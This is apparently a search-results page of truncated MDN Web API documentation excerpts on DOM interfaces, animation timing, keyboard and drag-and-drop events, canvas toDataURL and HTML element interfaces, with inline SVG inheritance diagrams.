...h="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/...
...api/document" target="_top"><rect x="266" y="1" width="80" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">document</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} the document interface describes the common properties and methods for any kind of document.
...And 2 more matches
EffectTiming.direction - Web APIs
syntax var timingproperties = { direction: "normal" | "reverse" | "alternate" | "alternate-reverse" }; timingproperties.direction = "normal" | "reverse" | "alternate" | "alternate-reverse"; value a domstring which specifies the direction in which the animation should play as well as what to do when the playback reaches the end of the animation sequence in the current direction.
... it can take one of the following values, with the default being "normal": "normal" the animation runs forwards, from beginning to end, in the way we experience the flow of time.
... "reverse" the animation runs backwards, or "rewinds." "alternate" the animation switches direction after each iteration, going forward through the animation sequence the first iteration, then backward through the sequence the second iteration, and so forth.
...And 2 more matches
EffectTiming - Web APIs
defaults to "normal".
...accepts the pre-defined values "linear", "ease", "ease-in", "ease-out", and "ease-in-out", or a custom "cubic-bezier" value like "cubic-bezier(0.42, 0, 0.58, 1)".
... defaults to "linear".
...And 2 more matches
Element.getClientRects() - Web APIs
when called on svg elements other than an outer-<svg>, the "viewport" that the resulting rectangles are relative to is the viewport that the element's outer-<svg> establishes (and to be clear, the rectangles are also transformed by the outer-<svg>'s viewbox transform, if any).
...note that the p has onlyone border box, while the span has multiple border boxes.</p> <div> <strong>original</strong> <p> <span>paragraph that spans multiple lines</span> </p> </div> <div> <strong>p's rect</strong> <p class="withclientrectsoverlay"> <span>paragraph that spans multiple lines</span> </p> </div> <div> <strong>span's rect</strong> <p> <span class="withclientrectsoverlay">paragraph that spans multiple lines</span> </p> </div> example 2: this html creates three ordered lists.
... <h3>a list</h3> <p>note that the border box doesn't include the number, so neither do the client rects.</p> <div> <strong>original</strong> <ol> <li>item 1</li> <li>item 2</li> </ol> </div> <div> <strong>ol's rect</strong> <ol class="withclientrectsoverlay"> <li>item 1</li> <li>item 2</li> </ol> </div> <div> <strong>each li's rect</strong> <ol> <li class="withclientrectsoverlay">item 1</li> <li class="withclientrectsoverlay">item 2</li> </ol> </div> example 3: this html creates two tables with captions.
...And 2 more matches
Element: keydown event - Web APIs
for example, a lowercase "a" will be reported as 65 by keydown and keyup, but as 97 by keypress.
... an uppercase "a" is reported as 65 by all events.
... keyboard events are only generated by <inputs>, <textarea> and anything with the contenteditable attribute or with tabindex="-1".
...And 2 more matches
Element.tagName - Web APIs
WebAPIElementtagName
for example, if the element is an <img>, its tagname property is "img" (for html documents; it may be cased differently for xml/xhtml documents).
...for example, tagname called on a <div> element returns "div".
...if an xml document includes a tag "<sometag>", then the tagname property's value is "sometag".
...And 2 more matches
Event.preventDefault() - Web APIs
this example demonstrates how to prevent that from happening: javascript document.queryselector("#id-checkbox").addeventlistener("click", function(event) { document.getelementbyid("output-box").innerhtml += "sorry!
... <code>preventdefault()</code> won't let you check this!<br>"; event.preventdefault(); }, false); html <p>please click on the checkbox control.</p> <form> <label for="id-checkbox">checkbox:</label> <input type="checkbox" id="id-checkbox"/> </form> <div id="output-box"></div> result stopping keystrokes from reaching an edit field the following example demonstrates how invalid text input can be stopped from reaching the input field with preventdefault().
... html here's the form: <div class="container"> <p>please enter your name using lowercase letters only.</p> <form> <input type="text" id="my-textbox"> </form> </div> css we use a little bit of css for the warning box we'll draw when the user presses an invalid key: .warning { border: 2px solid #f39389; border-radius: 2px; padding: 10px; position: absolute; background-color: #fbd8d4; color: #3b3c40; } javascript and here's the javascript code that does the job.
...And 2 more matches
FetchEvent.respondWith() - Web APIs
for security reasons, there are a few global rules: you can only return response objects of type "opaque" if the fetchevent.request object's mode is "no-cors".
... you can only return response objects of type "opaqueredirect" if the fetchevent.request object's mode is "manual".
... you cannot return response objects of type "cors" if the fetchevent.request object's mode is "same-origin".
...And 2 more matches
FileSystemDirectoryReader.readEntries() - Web APIs
html content the html establishes the drop zone itself, which is a <div> element with the id "dropzone", and an unordered list element with the id "listing".
... <p>drag files and/or directories to the box below!</p> <div id="dropzone"> <div id="boxtitle"> drop files here </div> </div> <h2>directory tree:</h2> <ul id="listing"> </ul> css content the styles used by the example are shown here.
... #dropzone { text-align: center; width: 300px; height: 100px; margin: 10px; padding: 10px; border: 4px dashed red; border-radius: 10px; } #boxtitle { display: table-cell; vertical-align: middle; text-align: center; color: black; font: bold 2em "arial", sans-serif; width: 300px; height: 100px; } body { font: 14px "arial", sans-serif; } javascript content first, let's look at the recursive scanfiles() function.
...And 2 more matches
FullscreenOptions.navigationUI - Web APIs
the default is "auto".
... "hide" the browser's navigation interface will be hidden and the entire dimensions of the screen will be allocated to the display of the element.
... "show" the browser will present page navigation controls and possibly other user interface; the dimensions of the element (and the perceived size of the screen) will be clamped to leave room for this user interface.
...And 2 more matches
GlobalEventHandlers.onanimationend - Web APIs
example html content <div class="main"> <div id="box"> <div id="text">box</div> </div> </div> <div class="button" id="play"> play animation </div> <pre id="log"></pre> css content :root { --boxwidth:50px; } .main { width: 300px; height:300px; border: 1px solid black; } .button { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-top: 0; paddi...
...ng-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #text { width: 46px; padding: 10px; position: relative; text-align: center; align-self: center; color: white; font: bold 1.4em "lucida grande", "open sans", sans-serif; } leaving out some bits of the css that don't matter for the discussion here, let's take a look at the styles for the box that we're animating.
...first, the "slideanimation" class, which establishes the animation that will cause the box to move over the course of five seconds, one time, using the "slidebox" keyframe set.
...And 2 more matches
GlobalEventHandlers.onanimationiteration - Web APIs
html <div class="main"> <div id="box"> <div id="text">box</div> </div> </div> <div class="button" id="play"> begin demonstration </div> css :root { --boxwidth:50px; } .main { width: 300px; height:300px; border: 1px solid black; } .button { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-top: 0; padding-top: 2px; padding-bo...
...ttom: 4px; color: white; background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #text { width: 46px; padding: 10px; position: relative; text-align: center; align-self: center; color: white; font: bold 1.4em "lucida grande", "open sans", sans-serif; } leaving out some bits of the css that don't matter for the discussion here, let's take a look at the styles for the box that we're animating.
... var box = document.getelementbyid("box"); var iterationcounter = 0; box.onanimationiteration = function(event) { box.style.animationplaystate = "paused"; document.getelementbyid("play").innerhtml = "start iteration #" + (iterationcounter+1); }; this sets up two global variables: box, which references the "box" element that we're animating, and iterationcounter, which is initially zero, which indicates how many iterations of ...
...And 2 more matches
GlobalEventHandlers.onanimationstart - Web APIs
example html content <div class="main"> <div id="box"> <div id="text">box</div> </div> </div> <div class="button" id="play"> play animation </div> <pre id="log"></pre> css content :root { --boxwidth:50px; } .main { width: 300px; height:300px; border: 1px solid black; } .button { cursor: pointer; width: 300px; border: 1px solid black; font-size: 16px; text-align: center; margin-top: 0; paddi...
...ng-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; font: 14px "open sans", "arial", sans-serif; } #text { width: 46px; padding: 10px; position: relative; text-align: center; align-self: center; color: white; font: bold 1.4em "lucida grande", "open sans", sans-serif; } leaving out some bits of the css that don't matter for the discussion here, let's take a look at the styles for the box that we're animating.
...first, the "slideanimation" class, which establishes the animation that will cause the box to move over the course of five seconds, one time, using the "slidebox" keyframe set.
...And 2 more matches
GlobalEventHandlers.ondragend - Web APIs
<!doctype html> <html lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatra...
...nsfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's border back to white ev.currenttarget.style.background = "white"; } function dragend_handler(ev) {...
... console.log("dragend"); // change the target element's background color to visually indicate // the drag ended.
...And 2 more matches
GlobalEventHandlers.ondragenter - Web APIs
<!doctype html> <html lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatra...
...nsfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's border back to white ev.currenttarget.style.background = "white"; } function dragend_handler(ev) {...
... console.log("dragend"); // change the target element's background color to visually indicate // the drag ended.
...And 2 more matches
GlobalEventHandlers.ondragexit - Web APIs
<!doctype html> <html lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatra...
...nsfer.setdata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's border to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's border back to white ev.currenttarget.style.background = "white"; } function dragend_handler(ev) {...
... console.log("dragend"); // change the target element's background color to visually indicate // the drag ended.
...And 2 more matches
GlobalEventHandlers.ondragleave - Web APIs
<!doctype html> <html lang=en> <title>examples of using the drag and drop global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's border to signify drag has started ev.currenttarget.style.border = "dashed"; ev.datatransfer.setd...
...ata("text", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); // change the target element's background color to signify a drag over event // has occurred ev.currenttarget.style.background = "lightblue"; ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragenter_handler(ev) { console.log("dragenter"); // change the source element's background color for enter events ev.currenttarget.style.background = "yellow"; } function dragleave_handler(ev) { console.log("dragleave"); // change the source element's background color back to white ev.currenttarget.style.background = "white"; } function dragend_han...
...dler(ev) { console.log("dragend"); // change the target element's background color to visually indicate // the drag ended.
...And 2 more matches
GlobalEventHandlers.onerror - Web APIs
available as event (sic!) in html onerror="" handler.
... <img src="imagenotfound.gif" onerror="this.onerror=null;this.src='imagefound.gif';" /> the reason we have the this.onerror=null in the function is that the browser will be stuck in an endless loop if the onerror image itself generates an error.
...instead the error reported is simply "script error." this behavior can be overriden in some browsers using the crossorigin attribute on <script> and having the server send the appropriate cors http response headers.
...And 2 more matches
GlobalEventHandlers.onkeypress - Web APIs
html <input> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.onkeypress = logkey; function logkey(e) { log.textcontent += ` ${e.code}`; } result filter keys with a regular expression this example filters the characters typed into a form field using a regular expression.
...turn event.charcode === 0 || /\d/.test(string.fromcharcode(event.charcode)); } const input = document.queryselector('input'); input.onkeypress = numbersonly; // prevent pasting (since pasted content might include non-number characters) input.onpaste = event => false; result capture the typing of a hidden word the following javascript function will do something after the user types the word "exit" in any point of a page.
... /* type the word "exit" in any point of your page...
...And 2 more matches
GlobalEventHandlers.onpointerdown - Web APIs
var targetbox = document.getelementbyid("target"); targetbox.onpointerdown = handledown; function handledown(evt) { var action; switch(evt.pointertype) { case "mouse": action = "clicking"; break; case "pen": action = "tapping"; break; case "touch": action = "touching"; break; default: action = "interacting with"; break; } targetbox.innerhtml = "<strong>thanks for...
... " + action + " me!</strong>"; evt.preventdefault(); } this simply uses onpointerdown to establish the function handledown() as the event handler for pointer down events.
... we also have a handler for pointerup events: targetbox.onpointerup = handleup; function handleup(evt) { targetbox.innerhtml = "tap me, click me, or touch me!"; evt.preventdefault(); } this code's job is to just restore the original text into the target box after the user's interaction with the element ends (for example, when they release the mouse button, or when they lift the stylus or finger from the screen).
...And 2 more matches
HTMLAudioElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="...
...middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="1...
...2px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><...
...And 2 more matches
HTMLCanvasElement.toDataURL() - Web APIs
if the height or width of the canvas is 0 or larger than the maximum canvas size, the string "data:," is returned.
... examples given this <canvas> element: <canvas id="canvas" width="5" height="5"></canvas> you can get a data-url of the canvas with the following lines: var canvas = document.getelementbyid('canvas'); var dataurl = canvas.todataurl(); console.log(dataurl); // "data:image/png;base64,ivborw0kggoaaaansuheugaaaauaaaafcayaaacnby // blaaaadeleqvqimwngobmaaabpaafei8araaaaaelftksuqmcc" setting image quality with jpegs var fullquality = canvas.todata...
...url('image/jpeg', 1.0); // data:image/jpeg;base64,/9j/4aaqskzjrgabaq...9oadambaairaxeapwd/ad/6ap/z" var mediumquality = canvas.todataurl('image/jpeg', 0.5); var lowquality = canvas.todataurl('image/jpeg', 0.1); example: dynamically change images you can use this technique in coordination with mouse events in order to dynamically change images (gray-scale vs.
...And 2 more matches
HTMLDivElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polylin...
...e points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,anda...
...le mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90"...
...And 2 more matches
HTMLElement: change event - Web APIs
bubbles yes cancelable no interface event event handler property onchange depending on the kind of element being changed and the way the user interacts with the element, the change event fires at a different moment: when the element is :checked (by clicking or using the keyboard) for <input type="radio"> and <input type="checkbox">; when the user commits the change explicitly (e.g., by selecting a value from a <select>'s dropdown with a mouse click, by selecting a date from a date picker for <input type="date">, by selecting a file in the file picker for <input type="file">, etc.); when the element loses focus after its value was changed, but not commited (e.g., after editing the value o...
...f <textarea> or <input type="text">).
... examples <select> element html <label>choose an ice cream flavor: <select class="ice-cream" name="ice-cream"> <option value="">select one …</option> <option value="chocolate">chocolate</option> <option value="sardine">sardine</option> <option value="vanilla">vanilla</option> </select> </label> <div class="result"></div> body { display: grid; grid-template-areas: "select result"; } select { grid-area: select; } .result { grid-area: result; } javascript const selectelement = document.queryselector('.ice-cream'); selectelement.addeventlistener('change', (event) => { const result = document.queryselector('.result'); result.textcontent = `you like ${event.target.v...
...And 2 more matches
HTMLElement.hidden - Web APIs
javascript document.getelementbyid("okbutton") .addeventlistener("click", function() { document.getelementbyid("welcome").hidden = true; document.getelementbyid("awesome").hidden = false; }, false); this code sets up a handler for the welcome panel's "ok" button that hides the welcome panel and makes the follow-up panel—with the curious name "awesome"—visible in its place.
... the welcome panel <div id="welcome" class="panel"> <h1>welcome to foobar.com!</h1> <p>by clicking "ok" you agree to be awesome every day!</p> <button class="button" id="okbutton">ok</button> </div> this html creates a panel (in a <div> block) that welcomes the user to a site and tells them what they're agreeing to by clicking the ok button.
... the follow-up panel once the user clicks the "ok" button in the welcome panel, the javascript code swaps the two panels by changing their respective values for hidden.
...And 2 more matches
HTMLEmbedElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font...
...-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x=...
..."266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="non...
...And 2 more matches
HTMLFieldSetElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" align...
...ment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="3...
...0" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stro...
...And 2 more matches
HTMLHeadingElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline p...
...oints="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale ...
...mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" st...
...And 2 more matches
HTMLImageElement.complete - Web APIs
the srcset attribute is absent and the src attribute, while specified, is the empty string ("").
... the image is "broken;" that is, the image failed to load due to an error or because image loading is disabled.
... let lightboxelem = document.queryselector("#lightbox"); let lightboximgelem = lightboxelem.queryselector("img"); let lightboxcontrolselem = lightboxelem.queryselector(".toolbar"); async function loadimage(url, elem) { return new promise((resolve, reject) => { elem.onload = () => resolve(elem); elem.onerror = reject; elem.src = url; }); } async function lightbox(url) { lightboxelem.style.display = "block"; await loadim...
...And 2 more matches
HTMLInputElement.setRangeText() - Web APIs
possible values: "select" selects the newly inserted text.
... "start"moves the selection to just before the inserted text.
... "end" moves the selection to just after the inserted text.
...And 2 more matches
HTMLInputElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121...
...,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4...
